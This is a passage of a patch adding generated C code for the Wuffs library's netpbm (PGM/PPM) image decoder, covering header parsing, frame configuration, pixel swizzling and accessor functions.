wuffs_base__status t_0 = wuffs_netpbm__decoder__do_decode_image_config(self, a_dst, a_src); -+ v_status = t_0; -+ } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_netpbm__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ -+ ok: -+ self->private_impl.p_decode_image_config = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -+ -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func netpbm.decoder.do_decode_image_config -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_netpbm__decoder__do_decode_image_config( -+ wuffs_netpbm__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_c8 = 0; -+ uint32_t v_n = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_call_sequence != 0u) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; -+ } -+ if (v_c8 != 80u) { -+ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_1 = *iop_a_src++; -+ v_c8 = t_1; -+ } -+ if ((v_c8 < 49u) || (55u < v_c8)) { -+ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); -+ goto exit; -+ } else if (v_c8 == 53u) { -+ self->private_impl.f_pixfmt = 536870920u; -+ } else if (v_c8 == 54u) { -+ self->private_impl.f_pixfmt = 2684356744u; -+ } else { -+ status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_2 = *iop_a_src++; -+ v_c8 = t_2; -+ } -+ if (v_c8 != 10u) { -+ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); -+ goto exit; -+ } -+ while (true) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_3 = *iop_a_src++; -+ v_c8 = t_3; -+ } -+ if ((v_c8 == 32u) || (v_c8 == 9u)) { -+ continue; -+ } else if (v_c8 == 35u) { -+ while (true) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_4 = *iop_a_src++; -+ v_c8 = t_4; -+ } -+ if (v_c8 == 10u) { -+ break; -+ } -+ } -+ continue; -+ } else if ((v_c8 < 48u) || (57u < v_c8)) { -+ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); -+ goto exit; -+ } -+ self->private_impl.f_width = ((uint32_t)(((uint8_t)(v_c8 - 48u)))); -+ break; -+ } -+ while (true) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_5 = *iop_a_src++; -+ v_c8 = t_5; -+ } -+ if ((v_c8 == 32u) || (v_c8 == 9u)) { -+ break; -+ } else if ((v_c8 < 48u) || (57u < v_c8)) { -+ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); -+ goto exit; -+ } -+ v_n = ((10u * self->private_impl.f_width) + ((uint32_t)(((uint8_t)(v_c8 - 48u))))); -+ if (v_n > 16777215u) { -+ status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); -+ goto exit; -+ } -+ self->private_impl.f_width = v_n; -+ } -+ while (true) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_6 = *iop_a_src++; -+ v_c8 = t_6; -+ } -+ if ((v_c8 == 32u) || (v_c8 == 9u)) { -+ continue; -+ } else if (v_c8 == 35u) { -+ while (true) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_7 = *iop_a_src++; -+ v_c8 = t_7; -+ } -+ if (v_c8 == 10u) { -+ break; -+ } -+ } -+ continue; -+ } else if ((v_c8 < 48u) || (57u < v_c8)) { -+ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); -+ goto exit; -+ } -+ self->private_impl.f_height = ((uint32_t)(((uint8_t)(v_c8 - 48u)))); -+ break; -+ } -+ while (true) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_8 = *iop_a_src++; -+ v_c8 = t_8; -+ } -+ if ((v_c8 == 32u) || (v_c8 == 9u) || (v_c8 == 13u)) { -+ continue; -+ } else if (v_c8 == 10u) { -+ break; -+ } else if ((v_c8 < 48u) || (57u < v_c8)) { -+ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); -+ goto exit; -+ } -+ v_n = ((10u * self->private_impl.f_height) + ((uint32_t)(((uint8_t)(v_c8 - 48u))))); -+ if (v_n > 16777215u) { -+ status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); -+ goto exit; -+ } -+ self->private_impl.f_height = v_n; -+ } -+ while (true) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_9 = *iop_a_src++; -+ v_c8 = t_9; -+ } -+ if ((v_c8 == 32u) || (v_c8 == 9u)) { -+ continue; -+ } else if (v_c8 == 35u) { -+ while (true) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_10 = *iop_a_src++; -+ v_c8 = t_10; -+ } -+ if (v_c8 == 10u) { -+ break; -+ } -+ } -+ continue; -+ } else if ((v_c8 < 48u) || (57u < v_c8)) { -+ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); -+ goto exit; -+ } -+ self->private_impl.f_max_value = ((uint32_t)(((uint8_t)(v_c8 - 48u)))); -+ break; -+ } -+ while (true) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_11 = *iop_a_src++; -+ v_c8 = t_11; -+ } -+ if ((v_c8 == 32u) || (v_c8 == 9u) || (v_c8 == 13u)) { -+ continue; -+ } else if (v_c8 == 10u) { -+ break; -+ } else if ((v_c8 < 48u) || (57u < v_c8)) { -+ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); -+ goto exit; -+ } -+ v_n = ((10u * self->private_impl.f_max_value) + ((uint32_t)(((uint8_t)(v_c8 - 48u))))); -+ if (v_n > 16777215u) { -+ status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); -+ goto exit; -+ } -+ self->private_impl.f_max_value = v_n; -+ } -+ if (self->private_impl.f_max_value != 255u) { -+ status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); -+ goto exit; -+ } -+ self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); -+ if (a_dst != NULL) { -+ wuffs_base__image_config__set( -+ a_dst, -+ self->private_impl.f_pixfmt, -+ 0u, -+ self->private_impl.f_width, -+ self->private_impl.f_height, -+ self->private_impl.f_frame_config_io_position, -+ false); -+ } -+ self->private_impl.f_call_sequence = 32u; -+ -+ goto ok; -+ ok: -+ self->private_impl.p_do_decode_image_config = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func netpbm.decoder.decode_frame_config -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_netpbm__decoder__decode_frame_config( -+ wuffs_netpbm__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 2)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_netpbm__decoder__do_decode_frame_config(self, a_dst, a_src); -+ v_status = t_0; -+ } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_netpbm__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ -+ ok: -+ self->private_impl.p_decode_frame_config = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; -+ -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func netpbm.decoder.do_decode_frame_config -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_netpbm__decoder__do_decode_frame_config( -+ wuffs_netpbm__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_call_sequence == 32u) { -+ } else if (self->private_impl.f_call_sequence < 32u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_netpbm__decoder__do_decode_image_config(self, NULL, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } else if (self->private_impl.f_call_sequence == 40u) { -+ if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_restart); -+ goto exit; -+ } -+ } else if (self->private_impl.f_call_sequence == 64u) { -+ self->private_impl.f_call_sequence = 96u; -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; -+ } else { -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; -+ } -+ if (a_dst != NULL) { -+ wuffs_base__frame_config__set( -+ a_dst, -+ wuffs_base__utility__make_rect_ie_u32( -+ 0u, -+ 0u, -+ self->private_impl.f_width, -+ self->private_impl.f_height), -+ ((wuffs_base__flicks)(0u)), -+ 0u, -+ self->private_impl.f_frame_config_io_position, -+ 0u, -+ false, -+ false, -+ 0u); -+ } -+ self->private_impl.f_call_sequence = 64u; -+ -+ ok: -+ self->private_impl.p_do_decode_frame_config = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func netpbm.decoder.decode_frame -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_netpbm__decoder__decode_frame( -+ wuffs_netpbm__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_dst || !a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 3)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_frame; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_netpbm__decoder__do_decode_frame(self, -+ a_dst, -+ a_src, -+ a_blend, -+ a_workbuf, -+ a_opts); -+ v_status = t_0; -+ } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_netpbm__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ -+ ok: -+ self->private_impl.p_decode_frame = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; -+ -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func netpbm.decoder.do_decode_frame -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_netpbm__decoder__do_decode_frame( -+ wuffs_netpbm__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_call_sequence == 64u) { -+ } else if (self->private_impl.f_call_sequence < 64u) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_netpbm__decoder__do_decode_frame_config(self, NULL, a_src); -+ if (status.repr) { -+ goto suspend; -+ } -+ } else { -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; -+ } -+ self->private_impl.f_dst_x = 0u; -+ self->private_impl.f_dst_y = 0u; -+ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, -+ wuffs_base__pixel_buffer__pixel_format(a_dst), -+ wuffs_base__pixel_buffer__palette(a_dst), -+ wuffs_base__utility__make_pixel_format(self->private_impl.f_pixfmt), -+ wuffs_base__utility__empty_slice_u8(), -+ a_blend); -+ if ( ! wuffs_base__status__is_ok(&v_status)) { -+ status = v_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; -+ } -+ goto ok; -+ } -+ while (true) { -+ v_status = wuffs_netpbm__decoder__swizzle(self, a_dst, a_src); -+ if (wuffs_base__status__is_ok(&v_status)) { -+ break; -+ } else if (v_status.repr != wuffs_netpbm__note__internal_note_short_read) { -+ status = v_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; -+ } -+ goto ok; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -+ } -+ self->private_impl.f_call_sequence = 96u; -+ -+ ok: -+ self->private_impl.p_do_decode_frame = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ return status; -+} -+ -+// -------- func netpbm.decoder.swizzle -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_netpbm__decoder__swizzle( -+ wuffs_netpbm__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ wuffs_base__pixel_format v_dst_pixfmt = {0}; -+ uint32_t v_dst_bits_per_pixel = 0; -+ uint32_t v_dst_bytes_per_pixel = 0; -+ uint64_t v_dst_bytes_per_row = 0; -+ uint32_t v_src_bytes_per_pixel = 0; -+ wuffs_base__table_u8 v_tab = {0}; -+ wuffs_base__slice_u8 v_dst = {0}; -+ uint64_t v_i = 0; -+ uint64_t v_j = 0; -+ uint64_t v_n = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); -+ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); -+ if ((v_dst_bits_per_pixel & 7u) != 0u) { -+ status = wuffs_base__make_status(wuffs_base__error__unsupported_option); -+ goto exit; -+ } -+ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); -+ v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); -+ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -+ while (true) { -+ if (self->private_impl.f_dst_x == self->private_impl.f_width) { -+ self->private_impl.f_dst_x = 0u; -+ self->private_impl.f_dst_y += 1u; -+ if (self->private_impl.f_dst_y >= self->private_impl.f_height) { -+ break; -+ } -+ } -+ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); -+ if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { -+ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); -+ } -+ v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); -+ if (v_i >= ((uint64_t)(v_dst.len))) { -+ v_src_bytes_per_pixel = 1u; -+ if (self->private_impl.f_pixfmt == 2684356744u) { -+ v_src_bytes_per_pixel = 3u; -+ } -+ v_n = (((uint64_t)(io2_a_src - iop_a_src)) / ((uint64_t)(v_src_bytes_per_pixel))); -+ v_n = wuffs_base__u64__min(v_n, ((uint64_t)(((uint32_t)(self->private_impl.f_width - self->private_impl.f_dst_x))))); -+ v_j = v_n; -+ while (v_j >= 8u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 8u)))) { -+ iop_a_src += (v_src_bytes_per_pixel * 8u); -+ } -+ v_j -= 8u; -+ } -+ while (v_j > 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 1u)))) { -+ iop_a_src += (v_src_bytes_per_pixel * 1u); -+ } -+ v_j -= 1u; -+ } -+ } else { -+ v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( -+ &self->private_impl.f_swizzler, -+ wuffs_base__slice_u8__subslice_i(v_dst, v_i), -+ wuffs_base__pixel_buffer__palette(a_dst), -+ &iop_a_src, -+ io2_a_src); -+ } -+ if (v_n == 0u) { -+ status = wuffs_base__make_status(wuffs_netpbm__note__internal_note_short_read); -+ goto ok; -+ } -+ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); -+ } -+ status = wuffs_base__make_status(NULL); -+ goto ok; -+ -+ ok: -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func netpbm.decoder.frame_dirty_rect -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 -+wuffs_netpbm__decoder__frame_dirty_rect( -+ const wuffs_netpbm__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_rect_ie_u32(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_rect_ie_u32(); -+ } -+ -+ return wuffs_base__utility__make_rect_ie_u32( -+ 0u, -+ 0u, -+ self->private_impl.f_width, -+ self->private_impl.f_height); -+} -+ -+// -------- func netpbm.decoder.num_animation_loops -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint32_t -+wuffs_netpbm__decoder__num_animation_loops( -+ const wuffs_netpbm__decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ return 0u; -+} -+ -+// -------- func netpbm.decoder.num_decoded_frame_configs -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_netpbm__decoder__num_decoded_frame_configs( -+ const wuffs_netpbm__decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ if (self->private_impl.f_call_sequence > 32u) { -+ return 1u; -+ } -+ return 0u; -+} -+ -+// -------- func netpbm.decoder.num_decoded_frames -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_netpbm__decoder__num_decoded_frames( -+ const wuffs_netpbm__decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ if (self->private_impl.f_call_sequence > 64u) { -+ return 1u; -+ } -+ return 0u; -+} -+ -+// -------- func netpbm.decoder.restart_frame -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_netpbm__decoder__restart_frame( -+ wuffs_netpbm__decoder* self, -+ uint64_t a_index, -+ uint64_t a_io_position) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ -+ if (self->private_impl.f_call_sequence < 32u) { -+ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -+ } -+ if ((a_index != 0u) || (a_io_position != self->private_impl.f_frame_config_io_position)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ self->private_impl.f_call_sequence = 40u; -+ return wuffs_base__make_status(NULL); -+} -+ -+// -------- func netpbm.decoder.set_report_metadata -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_netpbm__decoder__set_report_metadata( -+ wuffs_netpbm__decoder* self, -+ uint32_t a_fourcc, -+ bool a_report) { -+ return wuffs_base__make_empty_struct(); -+} -+ -+// -------- func netpbm.decoder.tell_me_more -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_netpbm__decoder__tell_me_more( -+ wuffs_netpbm__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__more_information* a_minfo, -+ wuffs_base__io_buffer* a_src) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ 